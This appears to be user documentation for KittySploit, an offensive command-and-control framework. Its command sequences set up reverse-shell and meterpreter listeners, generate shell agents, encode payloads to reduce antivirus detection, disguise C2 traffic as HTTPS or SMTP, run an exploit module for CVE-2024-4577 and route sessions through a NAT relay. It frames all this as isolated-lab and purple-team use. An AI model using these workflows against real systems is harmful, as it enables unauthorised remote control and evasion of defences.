Multi-Protocol Listeners, Encoders, Transformers, and KittyRelay

C2 chain overview

KittySploit organizes command-and-control in distinct but interdependent layers:

1. Listener --- network entry point on the operator side (listeners/multi/*).
2. Payload --- code executed on the target (modules/payloads/).
3. Encoder (optional) --- static transformation before delivery (encoders/).
4. Transformer (optional) --- transformation of the flow after connection (encoders/).
5. Session --- interactive channel managed by the framework after successful handshake.

Operational flow diagram

  [Operator]                      [Target test environment]
       |                                |
  use listeners/multi/reverse_tcp      |
  set lhost / lport / transformer       |
  run  ------------------------------->|  (waiting)
       |                                |
  use payloads/.../python_reverse_tcp  |
  set lhost / lport / transformer       |
  generate -o /tmp/agent.py            |
       |                                |  manual execution
       |<======== obfuscated C2 =======|
  sessions -i 1

The listeners/multi/ directory

The skeleton generator (core/module_generator/generator.py) places new listeners under listeners/multi by default. This directory groups generic multi-platform handlers, distinct from specialized listeners (listeners/web/, listeners/covert/…).

Inventory of multi modules

reverse_tcp --- minimal reference

File modules/listeners/multi/reverse_tcp.py. Metadata: Handler.REVERSE, SessionType.SHELL. Required options lhost, lport.

use listeners/multi/reverse_tcp
set lhost 192.168.56.1
set lport 4444
show options
run

The module opens a TCP socket, displays Listening on LHOST:LPORT, accepts connections and returns the tuple (client_socket, address, port, metadata) to the framework. On timeout (1 s), it returns None to loop without blocking indefinitely --- behavior compatible with jobs and multiple reconnections.

meterpreter_reverse_tcp

Reserved for meterpreter payloads. Two important examples:

• python_meterpreter_reverse_tcp
• zig_meterpreter_reverse_tcp

The session protocol supports extended commands (upload, download simulated depending on implementation). Always verify session_type in the payload's show info before pairing this listener.

reverse_udp and bind_tcp

• UDP --- useful for IDS/IPS test environments covering non-TCP protocols; the test firewall must allow the chosen UDP port.
• Bind --- the target opens the port; the operator connects with a client or dedicated module. Reverse operational order: deploy the bind payload before operator connection.

p2p_relay --- KittySploit operator side

This listener does not replace the hub: it connects to an already running kittyrelay instance. See section § for the complete NAT-friendly workflow.

use listeners/multi/p2p_relay
set role operator
set relay_host 203.0.113.50
set relay_port 9000
set relay_token purple-team-2026
run

Listeners outside multi (cross-reference)

For application or covert scenarios, also consult:

• listeners/web/php_post, php_get, websocket ;
• listeners/covert/dns, dns_kittysploit ;
• listeners/email/reverse_email ;
• listeners/database/mysql, redis, mongodb.

These modules follow the same handler/protocol pairing rules as multi/*.

compatible_payloads command

Implementation: interfaces/command_system/builtin/compatible_payloads_command.py.

Prerequisites and usage

The command requires a loaded exploit (use exploits/...), not a payload alone.

use exploits/linux/http/php_cgi_cve_2024_4577_rce
show targets
set target 0
compatible_payloads
compatible_payloads --detailed

Filtering criteria

get_compatible_payloads(framework) cross-references exploit __info__ metadata with the payload catalog:

• arch --- X64, X86, ARM, ARM64…
• platform --- linux, windows, unix
• handler --- REVERSE vs BIND
• session_type --- SHELL vs meterpreter
• protocol --- tcp, udp, etc.

--detailed output: Path, Name, Arch, Platform, Handler columns.

Metasploit integration

If the Metasploit plugin is active in integrated mode, compatible_payloads delegates to msf show payloads. Otherwise, native KittySploit payloads are listed with the note: set payload msf/<name> for MSF payloads.

Typical workflow from an exploit

use exploits/...
compatible_payloads --detailed
set payload payloads/singles/cmd/unix/python_reverse_tcp
set lhost 192.168.56.1
set lport 4444
set transformer transformers/python/stream/xor
set key sharedkeykey
show options
run

ExploitBase (core/framework/exploit_base.py) can automatically start the listener matched to the reverse payload and propagate transformer to listener and payload if defined on the exploit and propagates it to compatible listeners and payloads.

generate command

Implementation: interfaces/command_system/builtin/generate_command.py. Available when a type == payload module is loaded via use payloads/....

Full syntax

generate
generate --output /tmp/shell.py --format python
generate --format hex
generate --format base64
generate --format c
generate --format powershell
generate --format bash
generate --preview
generate --verbose
generate --encoder encoders/cmd/base64 --iterations 3
generate --nops 128

Internal pipeline

1. check_options() verification --- required options (lhost, lport…).
2. payload_module.generate() call --- raw output (script, binary, shellcode).
3. Optional NOP sled (--nops) via framework.nops.
4. Optional encoding (--encoder) --- encoders/ module.
5. Formatting (raw, hex, base64, c, python, powershell, bash).
6. Console display or --output write.

Output formats --- operational choice

--preview mode

Displays payload options and generation parameters without writing a file --- useful for configuration review before producing artifacts on disk.

Zig payloads under modules/payloads/

Available Zig modules

• payloads/singles/cmd/unix/zig_reverse_tcp --- compiled reverse shell ;
• payloads/singles/cmd/unix/zig_meterpreter_reverse_tcp --- Zig meterpreter ;
• declared listener: listeners/multi/reverse_tcp (shell) or meterpreter depending on variant.

Supported architectures

zig_reverse_tcp metadata: x86_64, x86, aarch64, arm, mips, mips64, riscv64, wasm32. OS: Linux, Windows, macOS, BSD.

Compilation options

use payloads/singles/cmd/unix/zig_reverse_tcp
set lhost 192.168.56.1
set lport 4444
set target_os linux
set target_arch x86_64
set optimization ReleaseSmall
set auto_compile true
set output_dir /tmp/kitty_zig_lab
show options
generate --verbose

ReleaseSmall minimizes binary size --- relevant for static detection tests. auto_compile true invokes the zig compiler from PATH.

Zig meterpreter workflow

use listeners/multi/meterpreter_reverse_tcp
set lhost 192.168.56.1
set lport 4444
run -j

use payloads/singles/cmd/unix/zig_meterpreter_reverse_tcp
set lhost 192.168.56.1
set lport 4444
set target_os linux
set target_arch x86_64
set auto_compile true
generate --output /tmp/zig_meterpreter

Embedded ARM variant

payloads/singles/cmd/armle/reverse_tcp covers ARM little-endian targets without Zig --- useful for IoT isolated test environments. Cross with encoders/armle/xor if badchars are present.

Encoders --- modules/encoders/

Role and limits

Encoders transform the payload before execution on the target:

• badchars avoidance (\ x00, CR/LF) ;
• static antivirus signature reduction ;
• vector adaptation (PHP, JavaScript, command line).

They do not obfuscate C2 flow after connection --- reserved for transformers.

Catalog by family

Configuration on payload

use payloads/singles/cmd/unix/bash_reverse_tcp
set lhost 127.0.0.1
set lport 4444
set encoder encoders/cmd/base64
show encoders
generate --verbose

Or via generate CLI:

generate --encoder encoders/python/base64 --iterations 2

Configuration on exploit

use exploits/...
set encoder encoders/x64/xor
set payload payloads/stagers/linux/x64/reverse_tcp
run

Transformers --- modules/transformers/

Listener / Payload Alignment

Transformers (core/framework/transformer.py) apply encode/decode to the network flow between listener and agent. Operational rules:

1. Listener: set transformer <path>, options (e.g. key), then run.
2. Payload: same transformer and options, then generate or run.
3. Language compatibility: each payload exposes CLIENT_LANGUAGE; the transformer declares SUPPORTED_CLIENT_LANGUAGES. Mismatch → warning and payload not transformed.
4. Exploit: set transformer on the exploit propagates to auto-started listener and payload.

stream/ tree

• transformers/python/stream/xor --- XOR flow, Python clients ;
• base64_frame, zlib_base64_frame, rot, additive, cascade ;
• transformers/powershell/stream/xor, base64_frame ;
• transformers/php/stream/xor, base64_frame.

protocol/ tree (mimic)

• transformers/python/protocol/https_mimic, tls_mimic, smtp_mimic ;
• http_chunked, websocket_mimic ;
• php/ and powershell/ equivalents.

Mimic protocols dress the flow to resemble application traffic --- useful in IDS isolated test environment, without replacing real TLS with valid certificates.

Symmetric XOR Python example

Terminal A --- listener:

use listeners/multi/reverse_tcp
set lhost 192.168.56.1
set lport 4444
set transformer transformers/python/stream/xor
set key purpleteam2026
run

Terminal B --- payload generation:

use payloads/singles/cmd/unix/python_reverse_tcp
set lhost 192.168.56.1
set lport 4444
set transformer transformers/python/stream/xor
set key purpleteam2026
generate --output /tmp/obf_agent.py

Compatibility verification

use transformers/python/stream/xor
show info
use payloads/singles/cmd/windows/powershell_reverse_tcp
set transformer transformers/python/stream/xor
generate
# Attendu: avertissement langage incompatible

Cascade transformer

transformers/powershell/stream/xor chains several transformations --- more complex configuration, increased latency. Reserved for advanced isolated test environments with compared Wireshark captures.

Complete C2 chain --- operator checklist

1. search or compatible_payloads --- choose payload.
2. show info on payload --- note listener, handler, CLIENT_LANGUAGE.
3. use listeners/... --- matching listener; set lhost/lport.
4. If flow transformation: set transformer + options on listener and payload.
5. run listener (job or dedicated terminal).
6. generate or run exploit --- deploy on isolated test target.
7. sessions -l / sessions -i <id> --- validate channel.
8. Document hashes, rules, clean up artifacts.

KittyRelay --- standalone tool

kittyrelay is a P2P rendezvous hub (lib/relay/kittyrelay.py), executable without the KittySploit framework --- Python stdlib only. Reference: help kittyrelay.

Installation and launch

kittyrelay --host 0.0.0.0 --port 9000
python -m lib.relay --port 9000
python scripts/kittyrelay.py --port 9000

Options: --status-interval (default 30 s), --quiet. Pairing by room token (format KSRL:v1:ROLE:TOKEN).

Three-step workflow

1. Start kittyrelay on a reachable host (isolated test environment VPS, edge VM).
2. Deploy a P2P agent payload on the target (bash_p2p_relay or equivalent) with the same relay_token.
3. In KittySploit: use listeners/multi/p2p_relay, role operator, relay_host, relay_token, run.

NAT use case

The agent and operator behind NAT do not expose each other: they meet via the hub. Ethical use: controlled isolated test environment only; a hub on a public VPS without mandate is an attack surface and legal risk.

Session and job management

jobs -l
jobs -k 1
sessions -l
sessions -i 2
sessions -k 2
background

After each scenario: kill listener jobs, remove /tmp/ artifacts, and run lab reset if a lab container was modified.

Troubleshooting